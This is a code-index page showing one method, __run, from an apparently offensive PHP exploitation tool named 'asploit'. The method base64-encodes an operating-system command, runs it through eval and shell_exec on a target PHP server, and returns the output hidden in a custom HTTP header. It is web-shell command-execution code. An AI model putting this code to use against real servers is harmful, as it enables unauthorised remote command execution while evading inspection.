MCPcopy Create free account
hub / github.com/Geeoon/asploit / __run

Method __run

src/PHPExploitProcessor.py:95–102  ·  view source on GitHub ↗
(self, command: str)

Source from the content-addressed store, hash-verified

93 @throw CommandException if there is a connection error.
94 """
95 def __run(self, command: str):
96 encoded = base64.b64encode(command.encode()).decode()
97 out = self.__eval(
98 f"header('{self.header}: ' . "
99 f"base64_encode(shell_exec(base64_decode('{encoded}'))));"
100 f"flush();"
101 )
102 return base64.b64decode(out.encode()).decode()
103
104 """
105 @brief Run commands to be evaluated as PHP code.

Callers 1

_Base__runMethod · 0.95

Calls 1

__evalMethod · 0.95

Tested by

no test coverage detected